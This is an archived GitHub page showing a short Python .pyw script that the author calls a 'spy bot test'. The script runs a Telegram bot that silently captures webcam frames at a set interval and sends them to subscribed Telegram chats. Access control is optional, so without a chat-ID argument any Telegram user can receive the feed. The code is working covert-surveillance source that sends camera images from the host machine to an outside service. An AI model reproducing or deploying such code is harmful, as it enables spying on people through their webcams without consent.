This repository has been archived by the owner on Apr 4, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathTestCamBot.pyw
106 lines (83 loc) · 2.98 KB
/
TestCamBot.pyw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
# coding: utf-8
from time import sleep
import telebot, cv2, threading
import sys
from telebot import types
TOKEN = sys.argv[1]
bot = telebot.TeleBot(TOKEN)
Users_seeing = set([])
#For private content
if len(sys.argv) > 2:
mychat = int(sys.argv[2])
else:
mychat = ""
global interval
interval = 10
get_interval = False
vc = cv2.VideoCapture(0)
mainKeyboard = types.ReplyKeyboardMarkup(row_width=1)
mainButton1 = types.KeyboardButton("See")
mainButton2 = types.KeyboardButton("Stop")
mainKeyboard.add(mainButton1, mainButton2)
def get_img():
vc = cv2.VideoCapture(0)
if vc.isOpened():
rval, frame = vc.read()
vc.release()
return frame
def save_img(frame):
cv2.imwrite('prueba.jpg',frame)
def load_img():
return open('prueba.jpg','rb')
def send_img(userid, frame):
try:
bot.send_photo(userid, frame)
except:
pass
@bot.message_handler(commands=['start'])
def hello(message):
print(message.chat.username + " initialized the bot")
bot.send_message(message.chat.id,
"This is a spy bot test.\nThis bot is a initial version with many errors")
bot.send_message(message.chat.id, "Select a option:", reply_markup=mainKeyboard)
@bot.message_handler(func=lambda msg: msg.text == "See")
def add(message):
if mychat != "":
if mychat == message.chat.id:
Users_seeing.add(message.chat.id)
bot.send_message(message.chat.id, "From now you will receive photos", reply_markup=mainKeyboard)
return
else:
Users_seeing.add(message.chat.id)
bot.send_message(message.chat.id, "From now you will receive photos", reply_markup=mainKeyboard)
return
bot.send_message(message.chat.id, "You haven't got access to see the content")
@bot.message_handler(func=lambda msg: msg.text == "Stop")
def delete(message):
if mychat != "":
if mychat == message.chat.id:
Users_seeing.discard(message.chat.id)
bot.send_message(message.chat.id, "You won't receive more photos", reply_markup=mainKeyboard)
return
else:
Users_seeing.discard(message.chat.id)
bot.send_message(message.chat.id, "You won't receive more photos", reply_markup=mainKeyboard)
return
bot.send_message(message.chat.id, "You haven't got access to see the content")
#Write a number to change de interval of update, it changes it for all
@bot.message_handler(func=lambda msg: msg.text.isnumeric())
def catch(message):
global interval
interval = int(message.text)
bot.send_message(message.chat.id, str(interval))
def updater():
save_img(get_img())
print(Users_seeing)
for uid in Users_seeing:
frame = load_img()
send_img(uid, frame)
print(interval)
threading.Timer(interval, updater).start()
if __name__ == "__main__":
updater()
bot.polling(none_stop=False)